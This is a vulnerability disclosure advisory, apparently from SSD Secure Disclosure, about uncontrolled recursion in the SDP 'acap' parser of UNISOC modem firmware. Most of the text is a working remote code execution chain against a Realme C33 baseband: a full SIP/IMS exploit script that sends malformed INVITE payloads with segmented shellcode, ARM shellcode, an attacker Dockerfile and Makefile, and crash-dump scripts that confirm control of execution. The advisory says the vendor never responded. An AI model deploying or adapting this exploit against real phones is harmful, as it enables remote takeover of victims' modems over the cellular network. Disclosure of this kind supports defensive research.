Summary
UNISOC (Shanghai) Technologies Co., Ltd. is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT, and smart device chipsets. Formerly Spreadtrum, it serves major brands like Honor, realme, vivo, Samsung, and Motorola, with products in over 140 countries.
A critical vulnerability has been discovered in the UNISOC modem firmware that enables one User Equipment (UE) to remotely attack another UE over the cellular network. By sending specially crafted malformed SDP within SIP signaling messages/requests, an attacker can trigger memory corruption in the target modem, potentially leading to remote execution of arbitrary native code on the victim device.
Vendor Response
We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response.
Credit
The vulnerabilities have been discovered by, an independent security researcher 0x50594d, working with SSD Secure Disclosure.
Affected Versions
- MOCORTM_22A_W23.02.5_P12.14_Debug (part of Realme C33)
- T612, T616, T606 and T7250
Vulnerability Details
An exploitable Uncontrolled Recursion (CWE-674) was identified in the modem’s handling of SDP messages. The root cause lies in unsafe parsing logic inside the _SDPDEC_AcapDecoder function, which fails to properly validate message fields before processing.
Root cause analysis
The function _SDPDEC_AcapDecoder is responsible for handling the acap attribute. After parsing the attribute’s value, the function retrieves the name of the next attribute. It then looks up this attribute in the SipHandler_AttrDecoder table. If the attribute is recognized, the appropriate handler is invoked.
undefined8 _SDPDEC_AcapDecoder(Token *token,ParseBuffer *parse_buffer,SdpMsgStruct *hSdpMsg)
{
char cVar1;
int iVar2;
undefined4 uVar3;
char *pcVar4;
int iVar5;
sipHandlerFunc *handler;
int iVar6;
int local_30;
SdpMsgStruct *handler_id;
undefined1 error [4];
iVar6 = token->field3_0x14;
local_30 = 0;
handler_id = hSdpMsg;
display_sip_message(0x200,"_SDPDEC_AcapDecoder: hSdpMsg:%X hAttr:%X",hSdpMsg,iVar6);
*(undefined2 *)(iVar6 + 0x14) = 1;
iVar2 = (*(code *)token->handlerGetToken)(token,parse_buffer," ");
if (iVar2 == 1) {
if ((token->CurrToken).length != 0) {
uVar3 = strtoll((token->CurrToken).pStart,error,10);
*(undefined4 *)(iVar6 + 0x18) = uVar3;
iVar2 = (*(code *)token->handlerGetToken)(token,parse_buffer,":\r\n");
if (iVar2 == 1) {
iVar2 = search_handler(&token->CurrToken,SipHandler_AttrDecoder,0x38,&handler_id); // get appropriate handler
-- SNIP --
handler = SipHandler_AttrDecoder[(int)handler_id].handler;
token->currentHandlerExecution = handler;
if ((handler == (sipHandlerFunc *)0x0) ||
(cVar1 = (*handler)(token,parse_buffer,(int)hSdpMsg), cVar1 == '\x01')) { // handler invoked
iVar5 = *(int *)(iVar6 + 0x1c);
if (iVar5 == 0x2b) {
The SipHandler_AttrDecoder table is presented below. It can be observed that the acap attribute is included in the table.
8d0f25c0 44 9e e1 SipHandler_AttrDecoder
8b 0b 00
00 00 87
8d0f25c0 44 9e e1 8b 0b SipHandler [0] = "rtpmap"
00 00 00 87 ff
c8 8b
8d0f25cc 4c 9e e1 8b 0c SipHandler [1] = "cat"
00 00 00 95 fd
c8 8b
// -- SNIP -- //
8d0f280c 80 a0 e1 8b 3d SipHandler [49] = "acap"
00 00 00 c3 15
c9 8b
This is problematic because the _SDPDEC_AcapDecoder function can recursively call itself without any limit. An input containing multiple acap attributes on the same line will cause the SIP task’s stack to collide with the sblock_0_2 task’s stack.
Bellow SDP poc that will trigger the stack overflow :
v=0 a=acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 [...] acap:1
It is possible to trigger an overflow in the sblock_0_2 task, but it is now necessary to ensure that this task is activated so that our stack overflow affects it. After analyzing the kernel code of the RealmeC33, it appears that this task is activated whenever data fragmentation occurs in the IMS context. SRTP packets will cause data fragmentation. Consequently, a simple video call initiated by the attacker will fragment the data and therefore trigger the sblock_0_2 task and then crash.
Code execution can be induced as the overflow in the sblock_0_2 task overwrites function pointers. For the purposes of this analysis, a separate attribute – the crypto attribute – was used to introduce controlled data onto the stack.
Exploit
Test Environment Setup
For testing purposes, the Docker-based Open5GS deployment with Kamailio was used.
The Dockerized VoLTE Setup tutorial was used as a reference.
Victime phone
The victim’s phone used in this test is the following:
- Mobile Realme C33 (Unisoc T612)
- Android security update 1 jully 2025
It is possible to root the phone by using the following repository.
Attacker phone
An attacker could use any smartphone to contact the victim, requiring only the ability to place a video call.
Sim cards
The Osmocom USIM card sysmoISIM-SJA5-9FV SIM + USIM + ISIM Card (10-pack) with ADM keys; 9FV chip: has been acquired.
Antenna
The LimeSDR is utilized for 4G communication.
Attacker machine
An additional machine, used solely for running the exploit code, was added to the Docker Compose environment at the address 172.22.0.100. It registers with the IMS in the same manner as a standard User equipment. The machine was included as follows.
attacker_machine:
image: attacker
container_name: attacker
expose:
- "10101/tcp"
networks:
default:
ipv4_address: 172.22.0.100
Dockerfile is the following :
FROM pwntools/pwntools
RUN cd /home/pwntools/ \
&& git clone https://github.com/mitshell/CryptoMobile \
&& cd CryptoMobile \
&& pip install . --break-system-packages
RUN sudo apt update \
&& sudo apt install openssh-server -y \
&& sudo mkdir /run/sshd \
&& sudo chmod 755 /run/sshd
RUN mkdir /home/pwntools/.ssh/ \
&& echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGa5TjMbqFs1mQLm5rUqPctCpOYAdnN/GDAkPks0Zlk9 gateau' >> /home/pwntools/.ssh/authorized_keys
COPY exploit.py /home/pwntools/
COPY shellcode/text.bin /home/pwntools/
ENTRYPOINT [ "sudo", "/usr/sbin/sshd", "-D", "-e", "-p", "10101" ]
Start Ylog (Optional for exploitation)
To obtain the crash dump from the phone and force the modem to delay before restarting, the slog must be activated. This requires starting engineering mode, which can be done via ADB.
adb shell am start -n com.sprd.engineermode/.EngineerModeActivity
Next you choose debug&log, YLog and press Start.
Attack
The exploit.py script, simulates the attacker device by authenticating to the core network and sending INVITE messages containing the test payload in the message body.
To run the script, authenticate on the exploit machine and launch the tool. The script includes an argparse interface, allowing you to provide custom parameters as needed.
$ python exploit.py [+] Opening connection to 172.22.0.21 on port 5060: Done ims.mnc070.mcc999.3gppnetwork.org [+] xmac is correct continue [+] Authentication work! [+] Registration complete [+] Exploit has been send, now call the victim ! [*] Closed connection to 172.22.0.21 port 5060
Immediately afterward, initiate a video call from the attacker device to the victim device. Once the victim answers the call, the modem enters the crash state.
The exploitation script exploit.py
#!/usr/bin/env python3
from pwn import *
import re
from argparse import ArgumentParser
from CryptoMobile.Milenage import Milenage
IP_ATTACKER = "172.22.0.100"
class SipMessage:
def __init__(self, first_line, headers, content_length, content):
self.first_line = first_line
self.headers = headers
self.content_length = content_length
self.content = content
def __repr__(self):
result = self.first_line.decode()
result += "\n".join(
[f"{header['name']}: {header['value']}" for header in self.headers]
)
result += "\n\n"
if self.content_length != 0:
result += self.content.decode()
return result
def get_header(self, name):
results = []
for header in self.headers:
if header["name"] == name:
results += [header["value"]]
return results
class Digest:
def __init__(self, digest, ki, opc, user):
self.digest = digest[7:]
realm = re.findall('realm="([^"]*)"', self.digest)[0]
self.b64nonce = re.findall('nonce="([^"]*)"', self.digest)[0]
print(realm)
self.nonce = base64.b64decode(self.b64nonce)
self.rand = self.nonce[:16]
self.sqnxoraka = self.nonce[16:22]
self.amf = self.nonce[22:24]
self.mac = self.nonce[24:32]
# self.op = derive_op_from_opc()
milenage = Milenage(None)
milenage.set_opc(opc)
res, ck, ik, ak = milenage.f2345(ki, self.rand)
self.res = res
self.ck = ck
self.ak = ak
self.ik = ik
self.sqn = bytes(a ^ b for a, b in zip(self.sqnxoraka, self.ak))
self.xmac = milenage.f1(ki, self.rand, self.sqn, self.amf)
if self.mac != self.xmac:
print("[-] xmac is different from mac")
exit()
print("[+] xmac is correct continue")
self.nc = "00000001"
self.cnonce = "Yy5R3qjx"
A1 = hashlib.md5()
A1.update(user.encode())
A1.update(b":")
A1.update(realm.encode())
A1.update(b":")
A1.update(self.res)
A1_hex = A1.digest().hex()
A2 = hashlib.md5()
A2.update(b"REGISTER")
A2.update(b":")
A2.update(b"sip:")
A2.update(realm.encode())
A2_hex = A2.digest().hex()
response = hashlib.md5()
response.update(A1_hex.encode())
response.update(b":")
response.update(self.b64nonce.encode())
response.update(b":")
response.update(self.nc.encode())
response.update(b":")
response.update(self.cnonce.encode())
response.update(b":")
response.update(b"auth")
response.update(b":")
response.update(A2_hex.encode())
self.response_hex = response.digest().hex()
self.authorisation_header = "Authorization: Digest "
self.authorisation_header += f'username="{user}", '
self.authorisation_header += f'realm="{realm}", '
self.authorisation_header += f'nonce="{self.b64nonce}", '
self.authorisation_header += f'uri="sip:{realm}", '
self.authorisation_header += f'response="{self.response_hex}", '
self.authorisation_header += f"qop=auth, nc={self.nc}, algorithm=AKAv1-MD5, "
self.authorisation_header += f'cnonce="{self.cnonce}"'
class Exploit:
def __init__(self):
HOST = "172.22.0.21"
self.con = remote(HOST, 5060, typ="tcp")
def get_src_port(self):
return self.con.lport
def send(self, data: bytes):
self.con.send(data)
def recv_sip_message(self) -> SipMessage:
status_line = self.con.recvuntil(b"\r\n")
headers = self.con.recvuntil(b"\r\n\r\n")
content_length = int(re.findall(b"Content-Length: ([0-9]*)\r\n", headers)[0])
content = b""
if content_length != 0:
content = self.con.recvn(content_length)
headers_list = []
for header in headers.split(b"\r\n"):
header = re.findall(b"([^:]*): (.*)", header)
if len(header) == 1:
header = header[0]
headers_list += [
{"name": header[0].decode(), "value": header[1].decode()}
]
return SipMessage(
status_line,
headers=headers_list,
content_length=content_length,
content=content,
)
def get_shellcode_parts():
with open("text.bin", "rb") as f:
content = f.read()
result = []
for i in range(0, len(content), 0x30 * 8):
result.append(content[i : i + 28])
return result
def main():
exploit = Exploit()
lport = exploit.get_src_port()
parser = ArgumentParser()
parser.add_argument("--imsi_attacker", default="999999999999999")
parser.add_argument("--ki_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")
parser.add_argument("--opc_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")
parser.add_argument("--victim_phone_number", default="9076543210")
parser.add_argument("--attacker_phone_number", default="9076543211")
args = parser.parse_args()
imsi_attacker = args.imsi_attacker
ki_attacker = bytes.fromhex(args.ki_attacker)
opc_attacker = bytes.fromhex(args.opc_attacker)
domain = f"ims.mnc0{imsi_attacker[3:5]}.mcc{imsi_attacker[:3]}.3gppnetwork.org"
victim_phone_number = args.victim_phone_number
attacker_phone_number = args.attacker_phone_number
SIP_SEQ_ID = 1
register_request = f"""REGISTER sip:{domain} SIP/2.0
Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bKku3z6faSleAq7RjyBvKgLzV4o
Max-Forwards: 70
From: <sip:{imsi_attacker}@{domain}>;tag=OG2.Dh8xb.ScY7
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:5060>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS
Authorization: Digest username="{imsi_attacker}@{domain}", realm="{domain}", nonce="", uri="sip:{domain}", response=""
Expires: 0
Supported: path
Content-Length: 0
""".replace(
"\n", "\r\n"
).encode()
SIP_SEQ_ID += 1
exploit.send(register_request)
Trying = exploit.recv_sip_message()
sip_challenge = exploit.recv_sip_message()
www_authenticate = sip_challenge.get_header("WWW-Authenticate")[0]
digest = Digest(
www_authenticate, ki_attacker, opc_attacker, f"{imsi_attacker}@{domain}"
)
register_request_auth = f"""REGISTER sip:{domain}:5060 SIP/2.0
Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bK4252247255
Max-Forwards: 69
From: <sip:{imsi_attacker}@{domain}>;tag=4130282331
To: <sip:{imsi_attacker}@{domain}>
Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}
CSeq: {SIP_SEQ_ID:d} REGISTER
Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:{lport:d}>
Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS
AUTHORIZATION
Content-Length: 0
""".replace(
"\n", "\r\n"
).encode()
SIP_SEQ_ID += 1
exploit.send(
register_request_auth.replace(
b"AUTHORIZATION", digest.authorisation_header.encode()
)
)
trying = exploit.recv_sip_message()
ok = exploit.recv_sip_message()
if b"SIP/2.0 200 OK" not in ok.first_line:
raise Exception("Error authentification")
print("[+] Authentication work!")
rport = re.findall("rport=([0-9]*)", ok.get_header("Via")[0])[0]
subscribe_request = f"""SUBSCRIBE sip:{attacker_phone_number}@{domain} SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To: <sip:{attacker_phone_number}@{domain}>
Call-ID: 4130282328_46852536@{IP_ATTACKER}
Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Route: <sip:172.22.0.21:{lport:d};lr>,<sip:orig@scscf.{domain}:6060;lr>
CSeq: {SIP_SEQ_ID:d} SUBSCRIBE
Event: reg
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Content-Length: 0
""".replace(
"\n", "\r\n"
).encode()
SIP_SEQ_ID += 1
exploit.send(subscribe_request)
reg_saved = exploit.recv_sip_message()
if b"SIP/2.0 200 Subscription to REG saved" not in reg_saved.first_line:
raise Exception("[-] Subscribtion to reg failed")
notify = exploit.recv_sip_message()
if b"NOTIFY" not in notify.first_line:
raise Exception("[-] Registration error")
vias = notify.get_header("Via")
routes = "\n".join(["Via: " + via for via in vias])
ok = f"""SIP/2.0 200 OK
{routes}
To: {notify.get_header("To")[0]}
From: {notify.get_header("From")[0]}
CSeq: {notify.get_header("CSeq")[0]}
Call-ID: {notify.get_header("Call-ID")[0]}
Content-Length: 0
""".replace(
"\n", "\r\n"
).encode()
exploit.send(ok)
print("[+] Registration complete")
SIP_SEQ_ID = 7
def send_exploit(data, sip_seq_id, stack_depth=165):
data += data + b"a" * (0x80 - len(data))
payload = b"v=0\r\n"
payload += b"m=video 51372 RTP/AVP \r\n" # for stack decallage
payload += b"a=" + b"acap:1 " * stack_depth + b"crypto:1 " + data + b"\r\n"
invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0
From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331
To: <sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>
CSeq: {sip_seq_id:d} INVITE
Call-ID: 4128004109_45009256@{IP_ATTACKER}
Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255
Max-Forwards: 70
Contact: <sip:{IP_ATTACKER}:{lport:d}>
Route: <sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>
P-Preferred-Identity: <tel:{attacker_phone_number}>
Allow: INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS
Content-Type: application/sdp
Accept: application/sdp,application/3gpp-ims+xml
P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel
Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"
Supported: timer,100rel,replaces,histinfo,tdialog
P-Early-Media: supported
Content-Length: {len(payload):d}
Session-Expires: 1800;refresher=uac
""".replace(
"\n", "\r\n"
).encode()
invite += payload
exploit.send(invite)
trying = exploit.recv_sip_message()
if b"SIP/2.0 100 Trying" not in trying.first_line:
raise Exception("Not a trying message")
# print(trying)
not_acceptable = exploit.recv_sip_message()
if b"SIP/2.0 488 Not Acceptable" not in not_acceptable.first_line:
raise Exception("Not a not acceptable message")
for i, part in enumerate(get_shellcode_parts()):
send_exploit(part, SIP_SEQ_ID, 165 - i * 8)
SIP_SEQ_ID += 1
print("[+] Exploit has been send, now call the victim !")
if __name__ == "__main__":
main()
Shellcode that will be executed
.text .global _start .THUMB .equ HOLE_BETWEEN_PARTS, 356 _start: nop nop nop nop nop nop # just after the PC message: .word 0x8cbf46ad mov r0, sp @ STDOUT nop nop nop nop b _second_chunk .space HOLE_BETWEEN_PARTS _second_chunk: movw r1, #0x270c movt r1, #0x8d0f movw r2, #0xbeef movt r2, #0xdead str r2, [r1] nop nop nop nop b _third_chunk .space HOLE_BETWEEN_PARTS # write the loader _third_chunk: movw r1, #0x270c movt r1, #0x8d0f .word 0xffffffff
Makefile used for compiling the shellcode.
all:
arm-linux-gnueabi-as shellcode.s -o shellcode.o
arm-linux-gnueabi-ld shellcode.o -o shellcode
arm-linux-gnueabi-objdump -d shellcode
arm-linux-gnueabi-objcopy -O binary -j .text shellcode text.bin
scp -P 10101 text.bin pwntools@172.22.0.100:volume
Get the state at time of crash
You can retrieve the entire modem memory using the dump_modem.sh script.
#!/bin/bash adb shell su -c "/vendor/bin/modem_ctrl_dbg dump cp 255" adb shell su -c "cp /data/modem_dump/all.mem /data/local/tmp" adb pull /data/local/tmp/all.mem
$ ./dump_modem.sh modem_dbg_dump_region, index = 255. dump all: size = 0x6700000. dump succ /data/modem_dump/all.mem. /data/local/tmp/all.mem: 1 file pulled, 0 skipped. 29.8 MB/s (108003328 bytes in 3.451s)
The script analysis.py can then be used to obtain the registers after the modem has crashed.
from struct import pack, unpack
from argparse import ArgumentParser
def u32(value):
return unpack("<I", value)[0]
def p32(value):
return pack("<I", value)
def display_registers(registers_dump):
values = []
result = ""
for x in split(registers_dump, 4):
values.append(u32(x))
result = "\n".join(
[
"\t".join([f"r{i*4 + j} = 0x{values[i*4+j]:08x}" for j in range(4)])
for i in range(3)
]
)
result += "\n"
result += (
f"sp = 0x{values[13]:08x}\tlr = 0x{values[14]:08x}\tpc = 0x{values[15]:08x}\n"
)
result += f"SPSR = 0x{values[16]:08x}\tCPSR = 0x{values[17]:08x}"
return result
def get_registers_from_dump(registers_dump):
registers = {}
values = []
for x in split(registers_dump, 4):
values.append(u32(x))
for i in range(13):
registers[f"r{i:d}"] = values[i]
registers["sp"] = values[13]
registers["lr"] = values[14]
registers["pc"] = values[15]
registers["SPSR"] = values[16]
registers["CPSR"] = values[17]
return registers
def split(my_str, size_split):
return [my_str[x : x + size_split] for x in range(0, len(my_str), size_split)]
def main():
parser = ArgumentParser()
parser.add_argument("dump_file", help="The dump file from phone")
args = parser.parse_args()
with open(args.dump_file, "rb") as f:
content = f.read()
print(display_registers(content[0x372F000 : 0x372F000 + 30 * 4]))
if __name__ == "__main__":
main()
The analysis script reports the register values at the moment of the modem crash. In this case, it shows r1 = 0x8d0f270c and r2 = 0xdeadbeef, indicating that the value 0xdeadbeef was written to address 0x8d0f270c. This behavior demonstrates code execution flow on the modem. The payload used for this demonstration can be adjusted as needed, but it must be divided into 28-byte segments with .space HOLE_BETWEEN_PARTS inserted between segments.
$ python analysis.py all.mem r0 = 0x8bc8fb60 r1 = 0x8d0f270c r2 = 0xdeadbeef r3 = 0x00000001 r4 = 0x00000000 r5 = 0x8c4bc770 r6 = 0x8cbf6774 r7 = 0x00000200 r8 = 0x8cbf6774 r9 = 0x8bc90491 r10 = 0x8cbf6724 r11 = 0x46c046c0 sp = 0x8ce807f8 lr = 0x8cbf499e pc = 0x8b003fd8 SPSR = 0x880f037f CPSR = 0x880f01db